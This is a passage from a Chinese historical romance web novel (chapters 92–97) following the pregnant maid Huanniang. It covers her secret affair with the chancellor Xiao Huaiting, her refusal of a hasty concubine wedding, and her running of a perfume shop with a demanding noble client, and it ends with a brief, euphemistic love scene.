爷的声音忽然从头顶传来。 马车突然停下。 欢娘惴惴不安,却就这样被赶下了马车。 她心神不宁,心里清楚,这一幕迟早是要面对的,而且无论以什么方式来说,对公子而言,都一样。 可今日过后,公子要如何看待她? 看着那岿然不动的马车,她很想凑上去,听一听,他们到底在说什么。 可没多久,大公子下车了。 隔着十来米,大公子朝着她这边看过来,欢娘心头一紧。 可却见大公子只是望着她,牵动了下嘴角,表情诡异,看不清神色。 然后,他就这么走了。 他一转身,居然就那么走了。 欢娘紧张的往前两步,却又没有勇气靠近。 直到看着他远处,车帘再次掀开,还是爷那张没有表情的脸。 仿佛这样难以启齿的事情,在爷那里,依旧是云淡风轻。 “您说什么了?” 欢娘有些恼。 上车后,没控制住脾气。 “你不愿意公开,那只好我来摊开。” 可爷的一句话,让她连发脾气的理由都没有。 当初是她自己要铤而走险,瞄准了相爷出击的,所以她应该要知道,未来有一天戳穿后,会是什么局面。 而今,爷他替她说了。 她认为是难以启齿的事,爷解决了。 甚至……她刚才好像还装成了一副难以启齿的受害者表情。 “奴婢不是不说,只是……” “我告诉他,你心心念念,自觉配不上的男人,是我。” 爷再次打断她的话。 语气平淡的仿佛在讨论,外头的天气很好。 什么心心念念的男人? 她纳闷,他怎么就胡说八道了呢? 可记忆复新,只是一瞬间,她想起了很久以前,自己安慰公子时,说过的那些话。 那时她就说了,她也有爱而不得的男子,可惜自己身份卑微,一辈子都不可能在一起。 “您……您就那么说了?” “就算你说的人不是我,也只能先对号入座。” 爷的表情,依旧淡漠的好像看了一眼外头天气,没有掀起半分涟漪。 “不,是您,就是您,奴婢心里除了您,就还是您。” 欢娘连忙上去抓住他的手,目光锃亮。 第九十二章相爷他运筹帷幄,年上的魅力 可爷似乎不大喜欢听。 她刚说完,爷就黑着脸,将手给收了回去。 “爷,公子他……” “改日,他会亲自来找你。” “找我做什么?” 欢娘紧张的咽着口水。 萧怀停只见她此刻的目光,要比刚才更专注了。 心头无奈,无端的生出一股闷气。 有色胆却没个雄胆。 就这没脑子,没担当的样子,当初谁给她的信心,死乞白赖缠上来的? “不知。” 她该吃些苦头才是。 萧怀停眉眼一冷,就不想再理会。 “那爷方才和公子都说了些什么?” 能不知吗?爷您料事如神,还有你不知道的,分明就是不愿说。 欢娘不死心的继续追问着。 “忘了。” 就……这么敷衍? “爷……” 欢娘一咬牙,放低了声音。 萧怀停听了,只觉得语调甜软娇媚,一个字都裹着水汽,就那么黏糊糊地缠了过来。 而且她丰腴的身子也妖娆的缠了过来。 “坐过去。” 平日里他很受用,但现在不乐意了。 他冷声训斥。 欢娘动作僵在原地,看爷的表情那是一脸的嫌弃。 似乎在说她,别挨着。 所以他真是死活一个字都不愿透露,就想看她那么提心吊胆? 也罢,受着就受着,左右是爷跟公子开了口的,到她这里,无非就是被公子训斥一番而已。 “爷怎么就知道,宁从夏会动手杀人?” 除了她自己的事情,欢娘对今日爷的算计,也很感兴趣。 她没想明白,爷根本不了解宁从夏,他是怎么做到料事如神的? 就连自己,都没想到她会杀了沈重,毕竟那可是宁从夏她自己的心上人阿。 “不知道。” 可他的回答,还是那么冷漠,那么言简意赅。 欢娘轻蹙眉,怎么爷还在发脾气?哪儿来那么大的气性? “你与她水火不容,是你死我活的关系,为何要放她走?” 可好像是她想多了,爷对着她,怎么可能有那么大脾气? 开口就是质问。 欢娘立刻明白他问的是今日在小院子里答应宁从夏,放她大师兄离开的事。 “她怀了公子的骨肉,奴婢确实不能动她,而且奴婢觉得就算放走了沈重,她偷情,还要杀我一事,老夫人定是知晓的,她即便回到相府,也没好日子过。” 她低着头解释。 “这就够了?” 而且,公子不是已经知道真相了吗?宁从夏再也翻不起任何翻浪,唯一能倚仗的只有孩子,待孩子出生后,就是她的死期。 “嗯。” 欢娘想了想,难道这样还不够? 不过比起后来在茶棚里,道出的真相,似乎确实是不够。 “可听过纵虎归山?” 欢娘茫然的摇摇头,随后又点了点头。 “爷的意思是我应该立刻打死她,不该再叫她活着离开?” 她倒是想,但相府那么多人看着呢,只怕打死了,现在自己应该是被五花大绑进相府了。 她觉得爷说的也不对。 可却发现,爷看她的眼神是越发的嫌弃了,好像她刚才又说了很愚蠢的话。 “即刻杀她,不过是泄一时之愤,蠢人法子。要动手,便要斩草除根、永绝后患,叫她永世不得翻身,往后这般蝼蚁之辈,也不配再劳你半分心神。” “蠢人法子你都用不上,还纵虎归山,白瞎了你耗费那么多精力和钱财,好不容易得来的线索,万幸,你是名女子,倘若做了谁家主君的手下,亦或是寻常人家的一家之主,还会连累他人。” 爷这是将她训的一无是处了。 连蠢笨之人都不如? 欢娘暗恼,但恼的是自己确实不如爷那般,深谋远虑。 “所以,奴婢放宁从夏离开那一刻,就应该立刻让人跟上去,只是假装放人而已,便能看看她到底要做什么,还有何底牌?若她当真放走沈重,便将沈重捉回来?” 欢娘认真道。 爷不是料事如神,而是要一次性将宁从夏一网打尽,不管她最后做什么,始终没能逃开他布的大网。 “记住,对待敌人,永远不能心慈手软,要么一击致命,要么韬光养晦,绝不能在暴露了自己的手段后又放走人的道理。” 爷没有反驳她。 只是很苦口婆心的说了一句。 欢娘连忙点头,确实如此。 弄不死她,难保她会再回头,咬自己一口。 而今,宁从夏才算是失去了所有的力气和手段。 即便回到相府,也不过是个被毒哑了的囚徒,再无半点反击的可能。 随后,爷送她到凝香阁,才驱车离开。 折腾这么久,天色已晚,凝香阁里客人照常很多。 “老板,今早李夫人来了没瞧见您,很不高兴。” 阿凝看到她来,先禀报要紧事。 除了这个坏消息,好消息就是铺子里这两天的生意好了很多。 香膏快卖完了,必须新上一批。 “明天早上,还是你准备东西,给她刷香膏。” “可她说,明天一早必须见到您,您若不来,会让凝香阁好看。” 阿凝听到这话,很是担心。 “不会的,她气归气,但还是会配合你,明早,你上,若她动粗或是辱骂,便问问她,还要不要继续治疗?” 倒不是欢娘要故意拿乔。 只是既然她要通过李周氏打响自己的名号,那陆青提这位老板娘,势必会暴露在贵女眼中。 陆青提,她不是软弱的性子。 欢娘觉得老板的形象也影响着铺子,所以必须得立住。 阿凝忧心忡忡,可老板都吩咐了,只能硬着头皮照做。 欢娘进屋,找到陆寒洲。 他还是在念书,屋子里,透着笔墨的香味,桌子上,堆积成山的书籍,还都是新的。 “上次我过来,怎么不见这些?” 欢娘有些诧异。 她看不懂书,却知道这书是很值钱的,陆寒洲就是个穷书生,衣裳都有几个破洞。 月钱又还没发,他又哪里来的银子,买新书? “好心人送的。” 陆寒洲一脸坦然。 欢娘立刻就对这个‘好心人’好奇起来。 “老板找我何事?” 可似乎她一直追问他的事情,也不合适。 她和陆寒洲,还没熟到这样的程度。 “我想看看账本。” 第九十三章重新给你一个身份 其实她是想问问有关他户口一事,毕竟自己户口上多了他的名字,就像是做了亏心事一样。 但还是没勇气开口。 随后,陆寒洲将账本给她。 欢娘翻看了两页,记录很详细,每日的进账和出账都很明显。 而且还累计了当天的总收入,总支出,以及盈利所得。 开业已月余,盈利一千三百六十两。 看到这笔银子,欢娘瞬间心情舒畅。 虽然如果刨除她先前投入,再扣除工钱,房租等,大概也只剩五六百两银子了。 但那可是她纯靠着自己的手段赚来的。 这种感觉,是从未体验过的美妙。 “新店开业,不排除有人贪图新鲜,买香膏尝试,如果你想持续盈利,要能留住客人,吸引新客才行。” 陆寒洲见她喜滋滋的不说话,就忍不住提醒她。 把做生意想的太简单了,才一个月的盈利而已,不意味着能一直赚钱。 而且据他所知,新店这样的账目,其实很一般。 “你有什么看法吗?” 欢娘听他的意思,好像还懂一些? 她倒是想听听,这位读书人,有何高见? “没有,我只是管账的。” 可就在她期待时,陆寒洲又闭嘴了。 欢娘瞬间就没了兴趣。 趁着天还没黑,去往黑市,找二虎。 他的铺子,居然已经开起来了。 只见他守着柜台,正在打哈欠。 门外,一小孩儿生了火炉,正在做饭,小小的身影,里里外外的跑,很忙。 “您来了。” 等欢娘靠近时,那小孩儿一看到她,立刻微笑着打招呼。 那不就是前两日,给她通风报信的孩子吗? “贵客呀,请进。” 柜台前二虎立刻醒过来,看到欢娘,就笑盈盈的接了进去。 小孩儿继续蹲在门口,炒着蔬菜,欢娘看到那锅里还有四五片肉,他们吃的倒是很简单。 柜台后有张四方桌,四把椅子。 二虎给她倒了茶水。 “怎么样?那出戏好看不?抓奸抓到了吗?事情解决了吗?” 他乐呵呵的凑近,一脸好奇。 他们靠打听消息为生的,每次要是遇到抓奸这种事,就算乐趣。 巴不得拿出来说个三五天。 “让一个孩子来通风报信,合适吗?” 欢娘看着外头的小孩儿,询问二虎。 “我妹的儿子,逃荒来的,家里人全死了,我遇到他的时候,他就是个乞丐。” 二虎说的满脸不在意。 “二舅说了,跑一趟能挣十文钱。” 他端着炒好的菜进屋,笑都很开心。 “以后有这种活,我还愿意干。” 二虎没好气的摆摆手,让他一边去。 只见他又从角落的缸子里抓了一把咸菜。 动作迅猛,很快就弄好了晚饭。 “您一起吃吗?” 第一双筷子,客客气气的递给了欢娘。 一份咸菜,一份炒蔬菜,还有糙饭。 这样简单的饭食,欢娘看的愣了,她已经很久没见过这些吃的了。 当即掏出了一两银子。 “去对面酒楼里买一只烧鸡回来,我请你们吃。” 她看上去,财大气粗的。 小孩儿惊讶,看了看二虎,见二虎没说什么,这才拿出银子,往外跑去。 “他叫孙安,十一岁,爹曾经是个教书先生,小孩儿不错,很懂事。” 人一走,二虎突然语重心长的跟她说起。 欢娘有些莫名,但还是顺着他的话点头。 “我看着也不错。” “他识字,又聪明,要不是家里闹饥荒,也许将来他会参加科考,能争个功名在身,可惜了,现在成了乞丐。” 二虎又道。 “你想说什么?” 欢娘觉得他一直说这些话,怕不只是闲聊。 二虎沉默了片刻,想了许久,才又道。 “黑市鱼龙混杂,在这儿长大的小孩儿,无非就是做些……见不得台面的事,我还是不想让他在黑市生活,不学无数,所以能不能拜托你,帮个忙?” “带他出去,不管做什么都好。” “我每个月给你一两银子,当他的伙食费,日后你要我做什么,我都不收你钱……” “所以现在是我委托你办事,还要你出钱?” 欢娘有些意外,二虎对那孩子不是爱答不理的吗?竟这般舍得? 一两银子,算是一笔巨款了。 “其实你若出这钱,将他送到外头,当个学徒,做什么都能成事……” “可他时常出入黑市,会被人看不起,我希望他能清清白白的过活。” 二虎苦笑。 那笑容里,包含着许多道不尽的酸楚。 黑市这个地方……明明是在京都,明明同一片天空下,可这里似乎就从未晴过。 欢娘看着外头的风景,沉默了许久。 直到看到那孩子从对面捧着烧鸡跑过来。 “让我想想。” 若是将他带出去,自己就得负责。 欢娘得考虑一个很现实的问题,自己有那本事,护他人周全吗? 将来的她可是要进相府,享受荣华富贵的。 “好。” 二虎也没勉强。 声音落下,孙安就跑进屋子里。 “我们运气好,刚刚烤好的烧鸡。” “这是找零,您的。” 他放下滚烫的烧鸡后,掏出了一串串的铜板。 “我恐怕还要劳烦你,帮我查一个人。” 欢娘顺手装进了钱袋子,淡淡道。 孙安洗了手,撕扯下一只大鸡腿,递给她。 三人坐在桌边,一边吃着一边聊。 账房先生陆寒洲,欢娘觉得他的来历不简单,所以想仔细的查一查。 放在身边的人,她总得知道底细,用起来才放心。 就跟爷一样,他身边的仆人,侍卫,车夫,全都是他信任的,那样会很省心。 “好,我一定帮你查。” 这次没给银子,二虎也答应的很干脆。 天黑以前,欢娘就离开了黑市。 可等她回到小院时,却见到了老夫人。 那么小的院子,平日里她住着舒心,甚至是宽敞的。 可老夫人往主厅一坐,她只觉得,格外压抑。 欢娘心头难免有些紧张。 进屋后跪在地上,行了礼。 “我也没想到,会出这么多事端,我应承你的安稳日子,似乎也没做到,我很抱歉。” 老夫人语气温和,竟是朝她‘致歉’? 欢娘听到这话,却是更加的不安心了。 第九十四章大婚的备胎?许你做姨娘 “老夫人别这么说,奴婢得您的照顾,有您的人护着,吃您的,用您的,还得了赏赐,奴婢已经很知足了。” 她没忘记,老夫人毫不留情的将她送出,还要去母留子。 所以表面的客套,她不敢当真,也不敢托大。 在老夫人眼里,她就是个小丫鬟,怎配她的致歉? “我果然没看错你,你是个懂事,又知恩图报的。” 萧苏氏点了点头,很满意欢娘的态度。 欢娘便将头垂的更低了些。 “不知老夫人有何吩咐?” 她想,老夫人来这儿总不会是为了夸她懂事的,她也没那么大的面子,让她屈尊出府。 “明日,本是晋文和那女人大婚,你知道吧?” “嗯。” 她安静听着老夫人说话。 只见她眉宇间染上了一丝恼怒,甚至连眼帘下都透着一丝因生气生出的红。 “婚事,是办不成了,但相府的婚帖已经发了出去,到底是晋文娶良妾,他又那般在意,所以这排场,很大。” 老夫人又道。 欢娘有些莫名,却仍旧没插嘴,安静的听着。 “你因此事受了委屈,所以我思来想去,还是让你回府养着,作为妥帖,反正将来,相爷会给你个名分,不如就趁着现在,明日,你穿着婚服,办了这场婚事。” “我做主,抬你做个姨娘,你看如何?” 萧苏氏本不想这样做的。 可情势所逼,明日若不办这婚事,相府颜面扫地,肯定遭人非议,不知会传出些什么难听的故事来。 若要办,当下哪里去找新娘? 思来想去,也就欢娘能救救急了。 哪怕在她眼里,欢娘还不够这资格。 但也是没法子了,就当是她怀了孩子的殊荣吧,给她一个盛大的婚礼。 可做相爷的良妾,她的身份,还不够。 欢娘此刻有些恍惚。 因为如果是以前,她绝对看不清楚老夫人的算计,只会觉得这是回府的大好机会。 而且还让她捡了个大便宜。 那么大一场婚礼,她做梦做一辈子,都不会有。 可现在,老夫人才说,她就弄清楚老夫人的打算了。 而且心底是不愿意的。 她不愿就这样仓促的回去,而且还是作为补救的工具,更不想一直这样被老夫人牵着鼻子走。 可在老夫人面前,她又以什么身份去拒绝这份‘恩赏’呢? “怎么?不愿意?” 萧苏氏见她沉默,有些诧异。 她没理由不愿意,并且她也不相信她会不愿意。 这般扭捏,要么是故作矜持,要么就是……还想再讨要些好处。 但欢娘的性子还算踏实,想不到后者。 那便是……害羞了。 萧苏氏嘴角微弯,自信满满的认为能把控这一切。 “除了祭拜祖宗,面见宾客,此次的排场,与娶正妻无差别,名门子弟大婚,与寻常百姓家是不同的。” 她又道。 在她看来,没有哪个丫鬟,能拒绝那样风光的婚礼,因为那是她们想都不敢想的。 “那……那定是极好的。” 欢娘挤出一抹很勉强的笑,不过看上去,像是受宠若惊。 “那便这样定了,晚些时候我派人送嫁衣过来,明日一早,你便从这里出嫁。” 萧苏氏见她这边,便觉得是稳了。 “老夫人。” 欢娘连忙喊道。 还重重的磕了个响头。 却一时说不出什么。 萧苏氏不解,但因为被打断,眼眸里都多了几分不耐。 显然她不愿意在这种事情上,浪费时间。 “有话直说,我不怪罪于你。” 她忍着不耐,道。 “老夫人,此事……爷他知道吗?” 欢娘不知该怎么说,脑子一转,只能想到爷可以做这挡箭牌。 “此事,还需他同意?” 只听老夫人不解的问道。 看来是不知道,不知道那就好了,欢娘暗松口气。 “还请老夫人恕罪,奴婢……怕就这样过去,爷会生气,当然了,如果是爷同意的,奴婢自然欢喜,可若爷不愿,奴婢很怕。” “奴婢斗胆,还请老夫人先问过爷的意思,奴婢身份卑微,怎样都行,只要爷同意,那奴婢明日定穿着喜服进门。” 欢娘说话的声音,都有些紧张。 萧苏氏很是不满。 但听她这是不敢拒绝,却怕怀停,她倒也能理解。 怀停那性子…… “你考虑的倒是周到,行,我回去后问问,你等着便是。” 萧苏氏想了想,若真是怀停明日要成亲,确实应该先告诉他。 所以说完这话,就赶紧先回去了。 欢娘恭恭敬敬的把人送走。 可这一晚,却煎熬的睡不着。 如果相爷同意让她进门,以姨娘的身份,那也好。 是好事。 可是她却不怎么开心。 至于为什么,欢娘也想不明白,她之前明明就满心希望爷给她一个名分,让她能大大方方留在他身边。 做姨娘,已经是最好的结果了。 可现在,却又有些不乐意了,她就希望,爷能拒绝,然后明天一早,不用出嫁。 浑浑噩噩的熬了一夜。 猛地惊醒时,天都亮了,她惊出了一声冷汗,赶忙坐起查看四周,发现自己还是在小院里,这才放心了些。 还好,只是梦,她没有半夜起来梳妆,嫁过去。 还好…… 梦里,她身穿喜服,进了后院,后来就一辈子住在小院里。 见不到儿子,还被爷厌弃,她拼了命的想拉开那院子的门,却怎么都打不开。 只能在等待中,逐渐疯魔。 还好,都是假的。 欢娘回过神来,就出了门。 天蒙蒙亮,娥嫂子烧火做饭,勇哥劈柴。 刘嬷嬷打了热水来给她洗漱。 “嬷嬷,老夫人那边,可有消息了?” 她不放心的问了一句,心中忐忑。 可刘嬷嬷却误以为她是在期待。 “别多想,将来,等你生了孩子,总有机会的。” 她还安慰着欢娘。 所以,不会来了吗? 欢娘暗松了口气。 可等她洗漱好,穿戴整齐要出门时,她又想起一件事。 爷拒绝了? 他不让自己进门? 他到底什么意思? 欢娘后知后觉的,又失望上了。 然后便觉得她可真是脑子有病,感情是人家不管怎么做,她都不满意吗? 第九十五章爷他拒绝了我 想不通,她甩了甩头,就不想了。 铺子里的香膏也快卖完,她这几日,有得忙了。 寻思到这几日可能要一直在铺子里,欢娘穿上了暗紫色流光锦缎,给自己盘发,精心装扮,然后戴上爷送给她的面具,这才出门。 等她采购结束,回到铺子时,刚好就看到李周氏从楼上下来。 她骂骂咧咧的,阿凝紧跟在她身后。 “你们就这样的服务态度?我来了三天,你们老板除了第一天露面,后面见都不见我,这到底是什么意思?” “这几日老板忙着采购,实在是忙,但请李夫人放心,小的认真跟老板学过,是老板认可了,小的才敢给您刷油,小的……” “行了行了,你们这就是敷衍人,谁做生意像你们这样的?” 李周氏不耐烦的打断,根本不想听。 看她那架势,骂骂咧咧的,似乎是不打算再来。 欢娘进了铺子里,和刚下楼的李周氏撞见。 她一脸的怒气和暴躁,在看到欢娘时,呆滞了片刻。 “陆老板,可真是好大的架子,连我要见你,都得看你时间,怎么你们凝香阁对待贵客,便是这样的态度?” 但没有一点收敛,继续冷嘲。 “如果不喜欢,你可以不来。” 这会儿的争吵,还是在大堂,早上的客人虽然不多,但也有进门的。 任凭她就这样吵闹下去,怕是很快就要传出凝香阁欺客的名声。 “你……” 李周氏怒骂,可就在要开口时,欢娘从旁侧拿了一面镜子,怼着她那张脸。 李周氏怔愣,手不自觉的摸上自己的脸蛋。 “这是……错觉吗?” 此刻的她没有上妆,可皮肤却光洁,白皙,脸蛋好像被镀了一层淡淡的光。 变化真的太明显了。 “我给你用的香膏,除了能增香,还能养肤,你是我凝香阁贵客,我自会百分百的尽心为你服务,但我很忙,还请李夫人见谅。” 欢娘语气淡漠,没有半点奉承。 只是在拿结果告诉李周氏,绝没有敷衍的意思。 李周氏面色稍有缓和。 看着自己这张变化显著的脸,心里很满意。 其实,就连身上的味儿,她都觉得浅了许多,以前每天早上起来,味儿很重,可今天一早过来时,她甚至差点没闻到。 “陆老板一个女子,开这么大的店,确实忙,何不多招两个学徒?” 李周氏高傲惯了,不可能低头。 只能放缓了语气,表示自己其实全都是为了她好。 “多谢提醒。” 欢娘淡淡道,没有深度交谈的欲望。 李周氏有些不满,可想到自己的脸,也就算了,陆老板对她爱答不理的,她也没必要非要上赶着去陪笑。 她什么身份?也配自己示好? 所以只是寒暄一二句,她就趾高气扬的离开了。 欢娘交代阿凝看好前面,她去后面卸货,调香。 瞧着没什么波折。 可是大早上看到李周氏的人,那其实是专门来看效果的。 因为凝香阁的东西只要不好,李周氏必定大闹。 可县主来看,李周氏居然还对着陆老板笑?还低了头?她们的东西,当真是那般神奇? 下午,深闺中,几位身份尊贵的贵女便都听到了风声。 而欢娘已经扎进了调香室,像先前一样,日常调配一些普通的,大家都能接受的。 然后她拿着名册,打算先做两款顶级的,她有预感,应该很快就会再有贵女上门。 她必须有能拿得出手的东西,稳住凝香阁的招牌,还有为自己编纂的身世。 想到这里,欢娘有些想笑,原先只不过是想将凝香阁的名声打出去,才编篡了个不存在的人。 可如今倒是……自己用上了。 连续半月,欢娘都待在调香室,除了吃饭睡觉,都在研究新的配方。 顶级的香膏除了配方材料昂贵,稀缺以外,就连时间也要的很久。 欢娘都没想到,会这般艰难。 “老板,后日便是除夕佳节,咱们铺子可还营业?” 这天傍晚,欢娘出来的还算早些的,只见铺子里的工人都还在等着。 这就……要过年了? 欢娘还真没反应过来。 她思索了片刻,可以前只有在后院做丫鬟的记忆,她哪里会知道,商铺是如何休沐的? “你们往年,是如何安排的?” 她想了想,先问问阿凝。 只见阿凝笑的有些不好意思。 “往年,这铺子生意冷清,就我和芙蓉两人,所以一到过节,我们就休三天。” 三天阿?那就照以前就行。 欢娘正欲说话。 阿凝再次道。 “不过今时不同往日,咱们是新店开业,而且这生意也做的实在不错,新年更是做生意的好时机,贵女也会相约出门吃酒,逛街,就连寻常百姓都会大方许多。” “是阿,往年我看那些商铺,大多都是开门的,咱们东街平时人少,可到了初一那日,这里会有马戏团来表演,很是热闹。” 一旁芙蓉也小声道。 欢娘眉头轻蹙,满是不解。 “咱们要不……还是照常营业?待过了那几日,再休息?” 阿凝小心翼翼的问道。 欢娘愣了愣,怎么这还有主动要求上工的? 这是多好的店员阿? 她以前做丫鬟时,可巴不得休息呢,如要是上工,那得有额外工钱才行。 “你们……” “铺子生意好了,我们才能干的长久。” 阿凝笑着解释。 欢娘有些莫名,自己运气那么好吗?遇上了这样一群好人? “那行,除夕休息一天,初一来上工,从大年初一到大年初五,除了工钱以外,每日再额外给你们五百文银钱。” 既然她们都那么好,欢娘当老板的也不能小气。 钱给的到位,众人欢呼。 纷纷道谢后,便才离开。 翌日,一大早,欢娘亲自帮李周氏刷油,起初还叫嚣的人,这会儿脾气好多了。 “陆老板今日不忙?” 而且看到是欢娘过来,面上还有些受宠若惊。 “嗯。” 她点点头,但想着没必要跟她解释,所以只是闷声,干活。 “明日便是除夕了,我还来吗?” 这样的冷漠,让李周氏有些不自在,这瞬间她竟觉得其实让那个叫阿凝的来帮她也挺好的。 第九十六章私情被外人发现?有意为之 “四十九日,不得间断,明天早上你过来就是。” “可我方才听楼下的店员说,明日放假。” 李周氏忍不住想跟她唠嗑,想熟络。 这陆老板性子太冷,要不是技术好,真不适合做老板,李周氏在心里默默吐槽。 “嗯,明早我等着你。” 那么负责吗?李周氏一听她居然要专门为了自己开门,为自己服务,心里就更舒适。 现在的她已经很少闻到那股气息了。 府里那些下人不敢提,生怕触了她的逆鳞,可跟随她多年的嬷嬷却说,这些日子,她是香的。 而且因为治疗,一直没上妆,皮肤却越发通透紧致,就连她那跟死了一样的夫君,都会忍不住多看她两眼。 这让李周氏有些心痒痒。 但一想到陆老板的交代,治疗期间是不可同房的,再者,她也怕做了之后,身上的味道会变重,又惹得那人嫌弃,她就忍住了。 等她好的那一日,她定要让曾经欺辱她,嘲笑她的人好看。 李周氏闭着眼药浴,泡着泡着,便笑了。 翌日。 街道上冷清了许多,可却挂起红灯笼。 欢娘一大早便进了铺子,李周氏一进铺子,她便将门关上,领着人,上了二楼。 “新年要劳烦你来上工,我心里过意不去,再者这大过年的,空手而来总不合适,这是我为陆老板备的新年贺礼。” 红布下,是一匹深紫色绫罗,价值不菲,还有五张银票,共计五百两。 这等价值的贺礼,欢娘看了都惊。 哪里有贺礼直接送银子的? “李夫人这是何意?” 她看着那些银票,轻声问道。 “自然是真心感谢陆老板帮了我,另外我还想以每月五十两白银,聘陆老板为我个人的调香师,不用你一直跟着我,但在我需要时,还请陆老板第一个为我服务。” “五百两,是我的诚意。” 欢娘当真是惊了。 忍不住感慨,到底是大户人家,腰缠万贯,一出手就那么大方。 而且,这疗程还没结束呢,她就已经有这般诚意了。 欢娘心里很开心。 恨不得立刻就答应下来。 可李周氏性子,若是拿了她每月五十两的薪酬,日后她三天两头要叫自己去她府上,弄个不好,还换来责备。 那自己的处境,岂不是很被动? 这银子,怕是没那么好拿的。 欢娘思忖片刻后,摇了摇头。 “布料我收下了,多谢李夫人厚爱,但银子我不能收,也不能接受您的聘请,我只在楼里调香。” 她忍痛拒绝,那可都是白花花的银子阿,而且还有机会出入贵门府邸。 李周氏听到这话,脸当即就沉了下来。 当即就觉得,这小老板真是敬酒不吃吃罚酒。 “不过李夫人是我凝香阁第一位贵客,照着楼里定下的规矩,您享有特定香膏,指定店员专门为您服务的特权。” “香膏由我亲自为夫人量身定做,楼里的店员也会优先服务您,无论您何时过来。” 可接下来一番话,李周氏就又舒适了。 要这么说来,除了不能让陆老板亲自为她服务以外,也差别不大。 无非就是她往楼里多跑几趟而已,那倒是不要紧,算平日的消遣。 而且,还不用她另外花银子请她,不过是将银子花到这楼里。 她看着陆老板一脸不近人情的表情,心想着我找个笑容满面,服务周到的店员,也比总对着你这臭脸,来的要好。 李周氏琢磨了片刻,便觉得这也没什么不好的。 “行,照你说的办。” “不过我可提醒你,你这楼里的贵客,可不是什么阿猫阿狗都能来的,倘若哪一日让我看到身份低贱之人,小心我……” 她又想威胁她。 却看到陆老板冰冷的眼神扫了过来,好似在警告。 李周氏愣了一下,意识到人家不是自己的仆人,也只能撇撇嘴。 “若你看不上,日后不做我这里的贵客了,别来就是。” 果然,从陆老板嘴里,说不出什么好话。 一个时辰后。 李周氏从后门离开。 可是却在马车要从拐角处出去时,却看到一辆低调又极奢华的马车,从另一条街汇入。 只看一眼,李周氏就后脊凉了好像湿透一样。 “停下。” 脑子都还没反应过来,就立即叫停了马车,颤颤巍巍的,先藏了起来。 她素来嚣张,可这京都的贵人也分很多种,有些是外强中干,见了面还能嘲讽两句,他们也不敢说什么,就算记恨也没本是报仇。 有的表面大气但最是记仇,那只能笑脸相迎,客客气气的。 但有的,是你连见面都不配,即便见了也不能胡乱说话的。 那辆马车里的人,就是后者。 是李周氏见都不敢见的大人物。 可是很快她就发现那马车的走向,不大对。 怎么一下就拐进了刚刚她出来那条巷子呢? 那位大人物是要去哪儿? 李周氏蹙眉深思,刚才过来时,好像所有的后门都是关着的。 李周氏屏住呼吸,偷偷往里看。 “爷?” 走在前头,萧一立刻察觉到一双贼兮兮的眼睛,没什么杀气,却看的人很不舒服。 “无妨。” 萧怀停低沉的声音从车里传出。 然后,李周氏被吓的瞠目结舌,一张脸都忘记了管理表情。 只见那车,停在了方才她上车的位置。 车里那位大人物,一身玄色常服,身形如青竹直立,风骨凛然,只是一出来,距离那么远的李周氏,她都想找个地方躲起来,生怕被他发现。 侍卫去敲门。 然后她就看那后门再次被打开,没看清里面的人,只见一抹紫色身影闪过。 里面的人抬起手,白皙柔嫩,好似在发光。 她居然……要牵他? 李周氏惊的捂住了嘴巴。 一向不近女色的大人,他居然……真的就接了,从她的角度看去,便是里面那人将大人拉了进去。 那般亲密,关系能简单吗? 李周氏仿若发现了天大的秘密一般,摒住了呼吸。 她后知后觉,幡然醒悟了。 怪不得,那陆老板只是个小商人,对着她却那般傲气,怪不得她不畏强权,那么煎熬。 原来她幕后有人,而且还是在这京都能只手遮天的大人物。 第九十七章生扑,反正这里没人 李周氏暗恼,后悔当初见面时真是太嚣张,太野蛮了些。 又庆幸,还好她只是嘴上坏了些,没有做出实际伤害陆老板的行为。 也还好,今日她示好,与陆老板也算是不打不相识了。 李周氏此刻的心情,简直能用‘波澜壮阔’来形容。 欢娘将人拉进院子,仗着这里没人,便直接扑到了萧怀停身上。 “今天可是除夕,怎么爷还要出门应酬?” 怀中人一身紫锦软缎,料子沉敛华贵,却衬得她身段愈发纤细曼妙。 她软软倚靠着他,整个人轻得几乎没有分量,只余下一团温软。 鬓发松松垂落,蹭过颈间,细柔如絮。 只是她身上的香味似乎变淡了些,还夹杂着一种他没嗅过的馨香。 萧怀停抬起手从,触到一片温软细腻,看她唇色浅润,他目光一沉,喉间微紧,只一瞬,便克制的偏开了目光。 “站好,没规矩。” 嘴上虽在训斥,可心底的火却一点点烧起来。 欢娘这副样子,他也只见过第二次。 “可奴婢想您,爷对奴婢可真不公平,连续半月见不到人,奴婢想见您,却不知怎么办,只能等着您,您若不来,奴婢半点机会都没有。” 欢娘却继续靠在他怀里撒娇。 身子只是微微磨蹭了一下,他的感受,就越发清晰。 知道她说的不是实话,知道她这些日子一直在做新的香膏,知道她明明就是把他彻底遗忘了。 可萧怀停居然不恼她这般撒谎。 事后,他理智的告诉自己,毕竟天下间怕是没人会不喜欢听好听的话,他也不过一俗人而已。 “日后要找我,写信,乌鸦会送。” 他暗叹口气,掩下所有情绪,语气依旧冷漠。 “爷,奴婢就会那么几个字,而且还丑。” “或是带你回相府?” “奴婢一定努力学习,奴婢写,只求爷可千万别嫌弃。” 欢娘连忙道。 说完她自己都愣住了,下意识看向爷,只见他目光清冷,她害怕的又往他怀里缩了缩。 他若是问她,为何不愿意回?那她该如何作答? 若爷就是觉得她耍心机,耍花样,甚至就是认为她贪得无厌,她岂不是无言以辩? 萧怀停立刻感觉到怀里的人,抓着他胸口衣领的手,都在微微颤抖,紧张的不像话。 他轻笑,所有这是狐狸尾巴没藏好,不小心露出来,怕了? “每隔三日,千字文的三个字,一字一页。” 罢了,不吓她,今天过节。 欢娘忙不停点头。 “那乌鸦是谁?” 没追问就好,欢娘心底暗松口气,好奇追问。 她觉得乌鸦肯定是个人,不然怎么传信?若真的是乌鸦,那爷怎么不用信鸽呢? 下一刻,她手中点多了一个黑色哨子,看着平平无奇。 “需要时,就吹一下,他便会现身。” 欢娘拿着那黑哨,突然觉得沉甸甸的。 那这岂不是叫人的信号?她这是……能叫动爷的人了? 虽然也就是能让他传个信给爷,但足以让欢娘欣喜若狂。 她笑着,点了点头。 环着爷腰间的手,变得不安分。 胡闹,松手。 她以为会听到他冷声训斥,可下一刻他手突然收紧,搂着她的腰,垂下头便是强势粗暴的印记。 充满香味的调香室内,有一张软榻,是欢娘平日里用来休息的。 但此刻,几乎承受不住这肆意的放纵,被折磨的皱皱巴巴,那木条腿蹬发出咯吱咯吱的声响。 骤雨初歇,欢娘有些气喘,水汪汪的眸子失了神,她下意识摸了摸那圆滚的肚子,另一只宽厚的手便覆了上来。 她庆幸,得亏爷刚才摸了摸这肚子,否则她怕是要被折腾惨了。 